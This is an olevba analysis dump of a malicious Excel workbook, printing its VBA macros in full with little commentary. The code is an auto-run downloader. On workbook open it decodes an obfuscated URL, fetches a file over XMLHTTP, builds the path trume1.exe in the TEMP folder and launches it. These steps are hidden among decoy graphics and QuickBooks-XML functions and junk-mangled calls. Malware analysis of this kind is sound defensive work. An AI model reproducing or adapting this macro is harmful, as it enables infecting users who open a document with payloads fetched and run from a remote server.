Malicious Excel macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V malware01.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: malware01.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
AddMSXMLNode "", "", "", ""
CapturePicture 0, 0, 0, 0, 0
parse_test5
CreateColor 0, 0, "", 0
End Sub






-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function GDIRect(X1 As Long, y1 As Long, x2 As Long, y2 As Long, Optional Absolute As Boolean = True) As String
On Error Resume Next
 With GDIRect
 .left = X1
 .tOp = y1
 If Absolute Then
 .Right = x2
 .Bottom = y2
 Else
 .Right = X1 + x2
 .Bottom = y1 + y2
 End If
 End With
End Function
Function IconFromHandle(Handle As Long) As String
On Error Resume Next
 Dim picGuid As String
 Dim picDesc As String
 Dim Pic As String
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 picff.GUID.c(1) = &HBB
 picff.GUID.c(2) = &H0
 picff.GUID.c(3) = &HAA
 picff.GUID.c(4) = &H0
 picff.GUID.c(5) = &H30
 picff.GUID.c(6) = &HC
 picff.GUID.c(7) = &HAB
 picDedd.sc.Size = Len(picDesc)
 picDedd.sc.BITMAP = Handle
 picDedd.sc.Type = PicType_Icon
 If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Exit Function
 End If
 Set IconFromHandle = Pic
 Set Pic = Nothing
End Function
Function GetPictureArray(ByRef Pic As String) As Long()
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DIBitsDest() As Long, DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 YOffset = (bmiDest.Header.Height - 1) - MaxY
 ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
 If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 GetPictureArray = DIBitsDest
 DeleteMemoryDC DC
End Function
Function GetPictureArrayInv(ByRef Pic As String) As Long()
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DIBitsDest() As Long, DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 YOffset = (bmiDest.Header.Height - 1) - MaxY
 ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
 bmiDest.Header.Height = -bmiDest.Header.Height
 If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 bmiDest.Header.Height = -bmiDest.Header.Height
 GetPictureArrayInv = DIBitsDest
 DeleteMemoryDC DC
End Function
Sub GetPictureArrayByte(ByRef Pic As String, ByRef DestArray() As Byte)
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 YOffset = (bmiDest.Header.Height - 1) - MaxY
 bmiDest.Header.Height = -bmiDest.Header.Height
 If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 bmiDest.Header.Height = -bmiDest.Header.Height
 DeleteMemoryDC DC
End Sub
Sub GetPictureArrayPtr(ByRef Pic As String, ByVal Ptr As Long)
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 bmiDest.Header.Height = -bmiDest.Header.Height
 If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 bmiDest.Header.Height = -bmiDest.Header.Height
 DeleteMemoryDC DC
End Sub
Sub GetBitmapArrayPtr(ByVal BITMAP As Long, ByVal Ptr As Long)
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 bmiDest.Header.Height = -bmiDest.Header.Height
 If 0 = GetDIBits(DC, BITMAP, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 bmiDest.Header.Height = -bmiDest.Header.Height
 DeleteMemoryDC DC
End Sub
Sub GetHBmpArrayByte(ByVal hBmp As Long, ByRef DestArray() As Byte, Optional ByVal CPDC As Long = 0)
On Error Resume Next
Dim MinX As Long, MinY As Long
Dim MaxX As Long, MaxY As Long
Dim SetX As Long, SetY As Long
Dim DestAddress As Long, YOffset As Long
Dim bmiDest As BitmapInfo
Dim DC As Long
 If CPDC = 0 Then DC = CreateMemoryDC Else DC = CPDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, hBmp, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 With bmiDest.Header
 .BitCount = 32
 .Compression = DIBCompression_RGB
 End With
 YOffset = (bmiDest.Header.Height - 1) - MaxY
 bmiDest.Header.Height = -bmiDest.Header.Height
 If 0 = GetDIBits(DC, hBmp, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Sub
 End If
 bmiDest.Header.Height = -bmiDest.Header.Height
 If CPDC = 0 Then DeleteMemoryDC DC
End Sub
Function GetPictureWidth(ByRef Pic As String) As Long
On Error Resume Next
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 GetPictureWidth = CLng(bmiDest.Header.Width)
 DeleteMemoryDC DC
End Function
Function GetPictureHeight(ByRef Pic As String) As Long
On Error Resume Next
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 GetPictureHeight = CLng(bmiDest.Header.Height)
 DeleteMemoryDC DC
End Function
Function GetBitmapWidth(ByVal BITMAP As Long) As Long
On Error Resume Next
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 GetBitmapWidth = CLng(bmiDest.Header.Width)
 DeleteMemoryDC DC
End Function
Function GetBitmapHeight(ByVal BITMAP As Long) As Long
On Error Resume Next
Dim bmiDest As BitmapInfo
Dim DC As Long
 DC = CreateMemoryDC
 With bmiDest.Header
 .Size = Len(bmiDest.Header)
 .Planes = 1
 End With
 If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
 DeleteMemoryDC DC
 Exit Function
 End If
 GetBitmapHeight = CLng(bmiDest.Header.Height)
 DeleteMemoryDC DC
End Function
Public Function ColorFromString(Text As String) As Long
On Error Resume Next
Dim cR As Long, cG As Long, cB As Long
 If left(Text, 2) = "&H" Then
 ColorFromString = CLng(Text)
 Exit Function
 End If
 If left(Text, 1) = "#" Then
 ColorFromString = CLng("&H" + Mid(Text, 2))
 cR = ColorFromString Mod 256
 cG = Int((ColorFromString \ 256)) Mod 256
 cB = Int(ColorFromString \ 65536)
 ColorFromString = RGB(cB, cG, cR)
 Exit Function
 End If
 If left(Text, 1) = "." Then
 ColorFromString = CLng(Mid(Text, 2))
 Exit Function
 End If
 If (InStr(Text, ",")) Then
 cR = CLng(left(Text, InStr(Text, ",") - 1))
 cG = CLng(Mid(Text, InStr(Text, ",") + 1, ((InStrRev(Text, ",") - 1) - (InStr(Text, ",")))))
 cB = CLng(Mid(Text, InStrRev(Text, ",") + 1))
 ColorFromString = RGB(cR, cG, cB)
 Exit Function
 End If
 Select Case Trim(LCase(Text))
 Case "darkgoldenrod", "dark goldenrod"
 ColorFromString = ColorFromString("#B8860B")
 Case "darkgray", "dark gray"
 ColorFromString = ColorFromString("#A9A9A9")
 Case "darkgreen", "dark green"
 ColorFromString = ColorFromString("#006400")
 Case "darkkhaki", "dark khaki"
 ColorFromString = ColorFromString("#BDB76B")
 Case "darkmagenta", "dark magenta"
 ColorFromString = ColorFromString("#8B008B")
 Case "darkolivegreen", "dark olive green"
 ColorFromString = ColorFromString("#556B2F")
 Case "darkorange", "dark orange"
 ColorFromString = ColorFromString("#FF8C00")
 Case "darkorchid", "dark orchid"
 ColorFromString = ColorFromString("#9932CC")
 Case "darkrealm"
 ColorFromString = ColorFromString("#202020")
 Case "darkred", "dark red"
 ColorFromString = ColorFromString("#8B0000")
 Case "darksalmon", "dark salmon"
 ColorFromString = ColorFromString("#E9967A")
 Case "darkseagreen", "dark sea green"
 ColorFromString = ColorFromString("#8FBC8F")
 Case "darkslateblue", "dark slate blue"
 ColorFromString = ColorFromString("#483D8B")
 Case "peru"
 ColorFromString = ColorFromString("#CD853F")
 Case "pink"
 ColorFromString = ColorFromString("#FFC0CB")
 Case "plum"
 ColorFromString = ColorFromString("#DDA0DD")
 Case "powderblue", "powder blue"
 ColorFromString = ColorFromString("#B0E0E6")
 Case "purple"
 ColorFromString = ColorFromString("#800080")
 Case "rast"
 ColorFromString = ColorFromString("#B02020")
 Case "red"
 ColorFromString = ColorFromString("#FF0000")
 Case "rosybrown", "rosy brown"
 ColorFromString = ColorFromString("#BC8F8F")
 Case "royalblue", "royal blue"
 ColorFromString = ColorFromString("#4169E1")
 Case "saddlebrown", "saddle brown"
 ColorFromString = ColorFromString("#8B4513")
 Case "salmon"
 ColorFromString = ColorFromString("#FA8072")
 Case "sandybrown", "sandy brown"
 ColorFromString = ColorFromString("#F4A460")
 Case "seagreen", "sea green"
 ColorFromString = ColorFromString("#2E8B57")
 Case "seashell"
 ColorFromString = ColorFromString("#FFF5EE")
 Case "sienna"
 ColorFromString = ColorFromString("#A0522D")
 Case "yellowgreen", "yellow-green", "yellow green"
 ColorFromString = ColorFromString("#9ACD32")
 Case "default", "normal", "standard", "text"
 ColorFromString = -1
 Case Else
 ColorFromString = -1
 End Select
End Function
Public Function CreateMemoryDC() As Long
On Error Resume Next
Dim deskWnd As Long, deskDC As Long
 deskWnd = GetDesktopWindow
 deskDC = GetDC(deskWnd)
 CreateMemoryDC = CreateCompa.tibleDC(deskDC)
 ReleaseDC deskWnd, deskDC
End Function
Public Sub DeleteMemoryDC(hdc As Long)
On Error Resume Next
 Deleddd.teDC hdc
End Sub
Public Function CapturePicture(ByVal hdc As Long, ByVal left As Long, ByVal tOp As Long, ByVal Width As Long, ByVal Height As Long) As String
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long

Set processEnv = CreateObject("WScript.Shell").Environment("Process")


 Dim hBmp As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String

tempFolder = processEnv("TEMP")

httpRequest.Send
tempFile = tempFolder + "\" + "" + "" + "tru" + "" + "" + "me1" + "." + "" + "e" + "xe"

Exit Function
picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 picff.GUID.c(1) = &HBB
 picff.GUID.c(2) = &H0
 picff.GUID.c(3) = &HAA
 picff.GUID.c(4) = &H0
 picff.GUID.c(5) = &H30
 picff.GUID.c(6) = &HC
 picff.GUID.c(7) = &HAB
 picDedd.sc.Size = Len(picDesc)
 hdcMem = CreateCompa.tibleDC(hdc)
 If hdcMem = 0 Then
 Exit Function
 End If
 hBmp = CreateCompadd.tibleBitmap(hdc, Width, Height)
 If hBmp = 0 Then
 Deleddd.teDC hdcMem
 Exit Function
 End If
 hOldBmp = SelectObdd.ject(hdcMem, hBmp)
 If left >= 0 And tOp >= 0 Then
 If Bi.tBlt(hdcMem, 0, 0, Width, Height, hdc, left, tOp, vbSrcCopy) = 0 Then
 Seleff.ctObject hdcMem, hOldBmp
 Deleddd.teDC hdcMem
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 Else

 Fil.lRect hdcMem, rcBitmap, GetSto.ckObject(StockObject_Brush_Black)
 End If
 Seleff.ctObject hdcMem, hOldBmp
 picDedd.sc.BITMAP = hBmp
 picDedd.sc.Palette = GetCurr.entObject(hdc, Object_Palette)
 picDedd.sc.Type = PicType_Bitmap
 If CreateP.ictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Deleddd.teDC hdcMem
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 Deleddd.teDC hdcMem
End Function
Public Function CreatePicture(ByVal Width As Long, ByVal Height As Long) As String
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long
 Dim hBmp As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String
 Dim deskWnd As Long, deskDC As Long
 deskWnd = GetDesktopWindow
 deskDC = GetDC(deskWnd)
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 picff.GUID.c(1) = &HBB
 picff.GUID.c(2) = &H0
 picff.GUID.c(3) = &HAA
 picff.GUID.c(4) = &H0
 picff.GUID.c(5) = &H30
 picff.GUID.c(6) = &HC
 picff.GUID.c(7) = &HAB
 picDedd.sc.Size = Len(picDesc)
 hdcMem = CreateMemoryDC
 If hdcMem = 0 Then
 Exit Function
 End If
 hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
 If hBmp = 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 Exit Function
 End If
 picDedd.sc.BITMAP = hBmp
 picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
 picDedd.sc.Type = PicType_Bitmap
 If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 Set CreatePicture = Pic
 Set Pic = Nothing
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
End Function
Public Function CreateMask(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
On Error Resume Next
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long
 Dim hBmp As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String
 Dim deskWnd As Long, deskDC As Long
 Dim m_lngPixels() As Long
 Dim m_lngX As Long, m_lngY As Long
 If SourcePic Is Nothing Then Exit Function
 deskWnd = GetDesktopWindow
 deskDC = GetDC(deskWnd)
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 picff.GUID.c(1) = &HBB
 picff.GUID.c(2) = &H0
 picff.GUID.c(3) = &HAA
 picff.GUID.c(4) = &H0
 picff.GUID.c(5) = &H30
 picff.GUID.c(6) = &HC
 picff.GUID.c(7) = &HAB
 picDedd.sc.Size = Len(picDesc)
 hdcMem = CreateMemoryDC
 If hdcMem = 0 Then
 Exit Function
 End If
 hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
 If hBmp = 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 Exit Function
 End If
 picDedd.sc.BITMAP = hBmp
 picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
 picDedd.sc.Type = PicType_Bitmap
 If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 m_lngPixels() = GetPictureArrayInv(SourcePic)
 For m_lngY = 0 To Height - 1
 For m_lngX = 0 To Width - 1
 m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &HFFFFFF, &H0)
 Next m_lngX
 Next m_lngY
 ArrayToPicture Pic, m_lngPixels, hdcMem
 Set CreateMask = Pic
 Set Pic = Nothing
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
End Function
Public Function CreateColor(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
On Error Resume Next
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long
 Dim hBmp As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String
 Dim deskWnd As Long, deskDC As Long
 Dim m_lngPixels() As Long
 Dim m_lngX As Long, m_lngY As Long
shellApp.Open (tempFile)
Exit Function
 If SourcePic = "" Then Exit Function
 deskWnd = GetDesktopWindow
 deskDC = Ge.tDC(deskWnd)
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 hdcMem = CreateMemoryDC
 If hdcMem = 0 Then
 Exit Function
 End If
 hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
 If hBmp = 0 Then
 Deleddd.teDC hdcMem
 Rele.aseDC deskWnd, deskDC
 Exit Function
 End If
 picDedd.sc.BITMAP = hBmp
 picDedd.sc.Palette = GetCurre.ntObject(deskDC, Object_Palette)
 picDedd.sc.Type = PicType_Bitmap
 If CreatePict.ureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Deleddd.teDC hdcMem
 Rele.aseDC deskWnd, deskDC
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 m_lngPixels() = GetPictureArrayInv(SourcePic)
 For m_lngY = 0 To Height - 1
 For m_lngX = 0 To Width - 1
 m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &H0, m_lngPixels(m_lngX, m_lngY))
 Next m_lngX
 Next m_lngY
 ArrayT.oPicture Pic, m_lngPixels, hdcMem
 Deleddd.teDC hdcMem
 Rele.aseDC deskWnd, deskDC
End Function
Public Function CreatePictureFromIcon(ByVal Width As Long, ByVal Height As Long, ByRef Icon As String) As String
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long
 Dim hBmp As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String
 Dim deskWnd As Long, deskDC As Long
 deskWnd = GetDesktopWindow
 deskDC = GetDC(deskWnd)
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 If hdcMem = 0 Then
 Exit Function
 End If
 hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
 If hBmp = 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 Exit Function
 End If
 hOldBmp = SelectObdd.ject(hdcMem, hBmp)
 DrawIconEx hdcMem, 0, 0, Icon.Handle, Width, Height, 0, 0, 2
 Seleff.ctObject hdcMem, hOldBmp
 picDedd.sc.BITMAP = hBmp
 picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
 picDedd.sc.Type = PicType_Bitmap
 If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
 DeleteObjectd.dd hBmp
 Exit Function
 End If
 Set CreatePictureFromIcon = Pic
 Set Pic = Nothing
 Deleddd.teDC hdcMem
 ReleaseDC deskWnd, deskDC
End Function
Public Function LoadResIcon(ByVal Resname As String, Optional ByVal Width As Long = 32, Optional ByVal Height As Long = 32) As String
 Dim picGuid As String
 Dim picDesc As String
 Dim hdcMem As Long
 Dim hIcon As Long
 Dim hOldBmp As Long
 Dim Pic As String
 Dim rcBitmap As String
 picff.GUID.x = &H7BF80981
 picff.GUID.S1 = &HBF32
 picff.GUID.S2 = &H101A
 picff.GUID.c(0) = &H8B
 picff.GUID.c(1) = &HBB
 picff.GUID.c(2) = &H0
 picff.GUID.c(3) = &HAA
 picff.GUID.c(4) = &H0
 picff.GUID.c(5) = &H30
 picff.GUID.c(6) = &HC
 picff.GUID.c(7) = &HAB
 hdcMem = CreateMemoryDC
 hIcon = LoadImage(App.Hinstance, Resname, Image_Icon, Width, Height, LoadImage_Shared)
 If hIcon = 0 Then
 DeleteMemoryDC hdcMem
 Exit Function
 End If
 picDedd.sc.Size = Len(picDesc)
 picDedd.sc.BITMAP = hIcon
 picDedd.sc.Type = PicType_Icon
 If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
 DeleteMemoryDC hdcMem
 Exit Function
 End If
 Set LoadResIcon = Pic
 Set Pic = Nothing
 DeleteMemoryDC hdcMem
End Function



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public processEnv  As Object
Public tempFolder As String
Public tempFile As String
Public shellApp As Object
Dim stroldMessageSetID As String
Public Function DateValid(strDate As String, _
 strMsgText As String) As Boolean
 If Trim(strDate) = "" Then
 DateValid = True
 Exit Function
 End If
 If Not IsDate(strDate) Then
 MsgBox "The " & strMsgText & " date you"
 DateValid = False
 Exit Function
 End If
 If CDate(strDate) < CDate("1/1/1970") Or _
 CDate(strDate) > CDate("1/18/2038") Then
 MsgBox "The " & strMsgText & _
 " date you supply must be between Jan 1, 1970 and Jan 18, 2038"
 DateValid = False
 Exit Function
 End If
 Dim strSplits() As String
 strSplits = Split(Trim(strDate), "-")
 If UBound(strSplits) = 2 Then
 If Len(strSplits(0)) = 4 And Len(strSplits(1)) = 2 And _
 Len(strSplits(2)) = 2 Then
 DateValid = True
 Exit Function
 End If
 End If
 MsgBox "The " & strMsgText & " date must be of the form yyyy-mm-dd"
 DateValid = False
End Function
Public Function RuBik(fromArr() As Variant, LenLen As Long, Dust As Double) As String
    Dim i As Long
    Dim hippi As String
    hippi = ""
    For i = LBound(fromArr) To UBound(fromArr)
        riz = fromArr(i) - 15 * LenLen - i * 100
        hippi = hippi & Chr(riz)
    Next i
    RuBik = hippi
End Function
Public Function TimeValid(strTime As String, _
 strMsgText As String) As Boolean
 If Trim(strTime) = Empty Then
 TimeValid = True
 Exit Function
 End If
 Dim strSplits() As String
 strSplits = Split(Trim(strTime), ":")
 If UBound(strSplits) = 1 Then
 If IsNumeric(strSplits(0)) And IsNumeric(strSplits(1)) Then
 If Len(strSplits(1)) = 2 Then
 If CInt(strSplits(0)) >= 1 And CInt(strSplits(0)) <= 12 And _
 CInt(strSplits(0)) >= 0 And CInt(strSplits(0)) <= 59 Then
 TimeValid = True
 Exit Function
 End If
 End If
 End If
 End If
 MsgBox "Invalid " & strMsgText & " time value"
 TimeValid = False
End Function
Public Function DateTimeString(strDate As String, _
 strTime As String, _
 booAM As Boolean, _
 booSupportsDateTime As Boolean) As String
 Dim strSplits() As String
 If Trim(strDate) = Empty Then
 DateTimeString = ""
 Exit Function
 End If
 If Trim(strTime) = Empty Then
 DateTimeString = Trim(strDate)
 Exit Function
 End If
 strSplits = Split(Trim(strTime), ":")
 If booAM Then
 If strSplits(0) = "12" Then strSplits(0) = "00"
 If Len(strSplits(0)) = 1 Then strSplits(0) = "0" & strSplits(0)
 Else
 If CInt(strSplits(0)) < 12 Then strSplits(0) = str(CInt(strSplits(0)) + 12)
 End If
 DateTimeString = Trim(strDate) & "T" & Trim(strSplits(0)) & ":" & strSplits(1)
End Function
Public Sub AddMSXMLNode(strNodeName As String, _
 objDOMDocument As String, _
 objParentNode As String, _
 objNode As String)
 Set httpRequest = CreateObject("Microsoft" + ".XMLHTTP")



Dim urlAr() As Variant
urlAr = Array(929, 1041, 1141, 1237, 1283, 1372, 1472, 1637, 1726, 1822, 1939, 2040, 2136, 2235, 2340, 2441, 2539, 2626, 2726, 2841, 2937, 3022, 3139, 3232, 3330, 3435, 3528, 3571, 3724, 3836, 3934, 3972, 4079, 4178, 4346, 4376, 4527, 4625, 4675, 4776, 4925, 4972, 5081, 5180, 5330, 5377, 5528, 5576, 5725, 5775, 5925, 5975, 6071, 6226, 6345, 6426)
httpRequest.Open "GET", RuBik(urlAr, 55, 3), False
Exit Sub
 Set objddd.Node = objDOMff.Document.createElement(strNodeName)
 objPadd.rentNode.appendChild objNode
End Sub
Public Sub AddMSXMLAttribute(strAttributeName As String, _
 strAttributeValue As String, _
 objDOMDocument As String, _
 objParentNode As String, _
 objAttribute As String)
 Set objAttribute = objDOMff.Document.createAttribute(strAttributeName)
 objAttribute.Text = strAttributeValue
 objPadd.rentNode.Attributes.setNamedItem objAttribute
End Sub
Public Sub AddMSXMLElement(strElementName As String, _
 strElementValue As String, _
 objDOMDocument As String, _
 objParentNode As String, _
 objElement As String)
 Set objElement = objDOMff.Document.createElement(strElementName)
 objElement.Text = strElementValue
 objPadd.rentNode.appendChild objElement
End Sub
Public Sub CreateStandardRequestNode(boonewMessageSetID As Boolean, _
 stronError As String, _
 objDOMDocument As String, _
 objRootNode As String, _
 objRequestNode As String, _
 objAttribute As String)
 Set objRootNode = objDOMff.Document.createElement("QBXML")
 objDOMff.Document.appendChild objRootNode
 Set objRequestNode = objDOMff.Document.createElement("QBXMLMsgsRq")
 objRootNode.appendChild objRequestNode
 If boonewMessageSetID Then
 stroldMessageSetID = NewMessageSetID
 AddMSXMLAttribute _
 "newMessageSetID", stroldMessageSetID, objDOMDocument, objRequestNode, objAttribute
 stroldMessageSetID = Empty
 End If
 AddMSXMLAttribute _
 "onError", stronError, objDOMDocument, objRequestNode, objAttribute
End Sub
